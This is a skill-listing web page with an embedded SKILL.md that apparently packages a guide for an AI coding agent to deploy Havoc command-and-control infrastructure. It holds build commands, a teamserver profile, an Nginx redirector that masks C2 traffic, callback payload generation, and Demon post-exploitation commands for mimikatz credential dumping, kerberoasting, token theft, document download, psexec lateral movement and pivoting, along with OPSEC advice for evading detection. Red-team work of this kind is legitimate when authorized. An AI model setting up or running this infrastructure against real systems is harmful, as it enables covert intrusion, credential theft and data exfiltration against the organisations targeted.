New to Claude Skills? Learn how to install them →

mukul975 on GitHub

Building Red Team C2 Infrastructure

Free

Deploy and manage Havoc C2 for red team operations.

Get this skill

Free · Opens the source repo

What Building Red Team C2 Infrastructure does

The Building Red Team C2 Infrastructure with Havoc skill provides a comprehensive framework for deploying and configuring the Havoc command and control (C2) system, enabling users to conduct authorized red team operations effectively. This skill is particularly useful for security professionals looking to establish robust, OPSEC-hardened infrastructures that support adversary emulation engagements. With a focus on modern post-exploitation techniques, it facilitates the setup of a collaborative multi-operator environment similar to existing solutions like Cobalt Strike.

Users can leverage this skill to deploy the Havoc Teamserver on Ubuntu or Debian systems, ensuring that they meet the necessary prerequisites, such as having a valid domain and SSL certificate. The skill guides users through the installation process, including cloning the Havoc repository, installing dependencies, and building both the Teamserver and Client components. It also provides detailed instructions on configuring the Teamserver profile and setting up HTTPS redirectors using Nginx, ensuring secure communication channels.

This skill is tailored for penetration testers, red teamers, and security architects who need to establish or enhance their C2 infrastructure. By following the outlined steps, users can create a production-grade environment that supports various listeners and customizable traffic profiles, which are critical for effective post-exploitation activities. The emphasis on OPSEC considerations ensures that users can conduct their operations with reduced risk of detection, aligning with best practices in the cybersecurity domain.

Overall, this skill is an essential resource for those involved in offensive security operations, providing the necessary tools and knowledge to implement a sophisticated C2 infrastructure using the Havoc framework.

When to use it

Use this skill when establishing or hardening a Havoc C2 environment for authorized security assessments.

When not to use it

This skill is not suitable for unauthorized activities or environments that do not meet the specified prerequisites.

What you can build with it

Setting Up a New C2 Environment

Quickly deploy a Havoc C2 environment for a new red team engagement, following the structured workflow provided.

Enhancing Existing Infrastructure

Improve your current C2 setup by integrating Havoc's features and OPSEC considerations.

Conducting Security Assessments

Utilize the Havoc framework to perform thorough security assessments with a focus on post-exploitation techniques.

How to install Building Red Team C2 Infrastructure

View source

1. Install with the skills CLI

npx skills add mukul975/anthropic-cybersecurity-skills/building-red-team-c2-infrastructure-with-havoc --agent claude-code

2. Or install it manually

Download the skill folder and drop it into ~/.claude/skills/ for all projects, or .claude/skills/ to scope it to one repo. Restart Claude Code so it picks up the new skill.

Anthropic's agentic coding CLI, and the reference implementation of Agent Skills. Drop a skill folder into ~/.claude/skills and Claude Code loads it automatically whenever a task matches the skill's description. Claude Code docs

Inside SKILL.md

Written by mukul975

Building Red Team C2 Infrastructure with Havoc

Overview

Havoc is a modern, open-source post-exploitation command and control (C2) framework created by C5pider. It provides a collaborative multi-operator interface similar to Cobalt Strike, featuring the Demon agent for Windows post-exploitation, customizable profiles for traffic malleable configurations, and support for HTTP/HTTPS/SMB listeners. This skill covers deploying production-grade Havoc C2 infrastructure with proper OPSEC considerations for authorized red team engagements.

When to Use

  • When deploying or configuring building red team c2 infrastructure with havoc capabilities in your environment
  • When establishing security controls aligned to compliance requirements
  • When building or improving security architecture for this domain
  • When conducting security assessments that require this implementation

Prerequisites

  • Ubuntu 22.04 LTS or Debian 11+ (for Teamserver)
  • Kali Linux 2023+ (for Client)
  • VPS providers: DigitalOcean, Linode, or AWS EC2 (minimum 2GB RAM, 2 vCPU)
  • Domain name aged 30+ days with valid SSL certificate
  • Written authorization for red team engagement

Architecture

┌──────────────────────────────────────────────────────────────┐
│                    HAVOC C2 ARCHITECTURE                      │
├──────────────────────────────────────────────────────────────┤
│                                                               │
│  ┌──────────┐     ┌──────────────┐     ┌──────────────────┐ │
│  │  Havoc    │────▶│  HTTPS       │────▶│  Target Network  │ │
│  │  Client   │     │  Redirector  │     │  (Demon Agent)   │ │
│  │  (Kali)   │     │  (Nginx/CDN) │     │                  │ │
│  └──────────┘     └──────────────┘     └──────────────────┘ │
│       │                   │                                   │
│       │           ┌──────────────┐                            │
│       └──────────▶│  Havoc       │                            │
│                   │  Teamserver  │                            │
│                   │  (Ubuntu VPS)│                            │
│                   │  Port 40056  │                            │
│                   └──────────────┘                            │
│                                                               │
└──────────────────────────────────────────────────────────────┘

Step 1: Install Havoc Teamserver

# Clone the Havoc repository
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc

# Install dependencies (Ubuntu 22.04)
sudo apt update
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 \
    libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev \
    libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev \
    libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser \
    qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev \
    qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev \
    python3-dev libboost-all-dev mingw-w64 nasm

# Build the Teamserver
cd teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
cd ..
make ts-build

# Build the Client
make client-build

Step 2: Configure Teamserver Profile

Create the Havoc profile (havoc.yaotl):

Teamserver {
    Host = "0.0.0.0"
    Port = 40056

    Build {
        Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
        Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
        Nasm = "/usr/bin/nasm"
    }
}

Operators {
    user "operator1" {
        Password = "Str0ngP@ssw0rd!"
    }
    user "operator2" {
        Password = "An0th3rP@ss!"
    }
}

Listeners {
    Http {
        Name         = "HTTPS Listener"
        Hosts        = ["c2.yourdomain.com"]
        HostBind     = "0.0.0.0"
        HostRotation = "round-robin"
        PortBind     = 443
        PortConn     = 443
        Secure       = true
        UserAgent    = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36"

        Uris = [
            "/api/v2/auth",
            "/api/v2/status",
            "/content/images/gallery",
        ]

        Headers = [
            "X-Requested-With: XMLHttpRequest",
            "Content-Type: application/json",
        ]

        Response {
            Headers = [
                "Content-Type: application/json",
                "Server: nginx/1.24.0",
                "X-Frame-Options: DENY",
            ]
        }
    }
}

Demon {
    Sleep  = 10
    Jitter = 30

    TrustXForwardedFor = false

    Injection {
        Spawn64 = "C:\\Windows\\System32\\notepad.exe"
        Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
    }
}

Step 3: Start Teamserver

# Start the Havoc Teamserver with the profile
./havoc server --profile ./profiles/havoc.yaotl -v

# Expected output:
# [*] Havoc Framework [Version: 0.7]
# [*] Teamserver started on: 0.0.0.0:40056
# [*] HTTPS Listener started on: 0.0.0.0:443

Step 4: Configure HTTPS Redirector

Set up an Nginx reverse proxy on a separate VPS as a redirector:

# /etc/nginx/sites-available/c2-redirector
server {
    listen 443 ssl;
    server_name c2.yourdomain.com;

    ssl_certificate /etc/letsencrypt/live/c2.yourdomain.com/fullchain.pem;
    ssl_certificate_key /etc/letsencrypt/live/c2.yourdomain.com/privkey.pem;

    # Only forward traffic matching C2 URIs
    location /api/v2/auth {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
        proxy_set_header X-Forwarded-For $remote_addr;
    }

    location /api/v2/status {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
    }

    location /content/images/gallery {
        proxy_pass https://TEAMSERVER_IP:443;
        proxy_ssl_verify off;
        proxy_set_header Host $host;
    }

    # Redirect all other traffic to legitimate site
    location / {
        return 301 https://www.microsoft.com;
    }
}

Step 5: Generate Demon Payload

# Via the Havoc Client GUI:
# Attack > Payload
# Agent: Demon
# Listener: HTTPS Listener
# Arch: x64
# Format: Windows Exe / Windows Shellcode
# Sleep Technique: WaitForSingleObjectEx (Ekko)
# Spawn: C:\Windows\System32\notepad.exe

# The generated Demon payload connects back through:
# Target -> Redirector (Nginx) -> Teamserver

Step 6: Post-Exploitation with Demon

Once a Demon session checks in, common post-exploitation commands:

# Session interaction
demon> whoami
demon> shell systeminfo
demon> shell ipconfig /all

# Process listing
demon> proc list

# File operations
demon> download C:\Users\target\Documents\sensitive.docx
demon> upload /tools/Rubeus.exe C:\Windows\Temp\r.exe

# In-memory .NET execution (no disk touch)
demon> dotnet inline-execute /tools/Seatbelt.exe -group=all
demon> dotnet inline-execute /tools/SharpHound.exe -c All

# Token manipulation
demon> token steal <PID>
demon> token make DOMAIN\user password

# Credential access
demon> mimikatz sekurlsa::logonpasswords
demon> dotnet inline-execute /tools/Rubeus.exe kerberoast

# Lateral movement
demon> jump psexec TARGET_HOST HTTPS_LISTENER
demon> jump winrm TARGET_HOST HTTPS_LISTENER

# Pivoting
demon> socks start 1080
demon> rportfwd start 8080 TARGET_INTERNAL 80

OPSEC Considerations

AspectRecommendation
Domain AgeRegister domains 30+ days before engagement
SSL CertificatesUse Let's Encrypt or purchased certificates, never self-signed
CategorizationSubmit domain to Bluecoat/Fortiguard for categorization
Sleep/JitterMinimum 10s sleep with 30%+ jitter for long-haul operations
User-AgentMatch target organization's common browser user-agent
Kill DateSet payload expiration to engagement end date
InfrastructureSeparate teamserver, redirector, and phishing infrastructure
Payload FormatUse shellcode with custom loader instead of raw EXE

MITRE ATT&CK Mapping

Technique IDNamePhase
T1583.001Acquire Infrastructure: DomainsResource Development
T1583.003Acquire Infrastructure: Virtual Private ServerResource Development
T1587.001Develop Capabilities: MalwareResource Development
T1071.001Application Layer Protocol: Web ProtocolsCommand and Control
T1573.002Encrypted Channel: Asymmetric CryptographyCommand and Control
T1090.002Proxy: External ProxyCommand and Control
T1105Ingress Tool TransferCommand and Control
T1055Process InjectionDefense Evasion

References

Frequently asked questions about Building Red Team C2 Infrastructure

Similar skills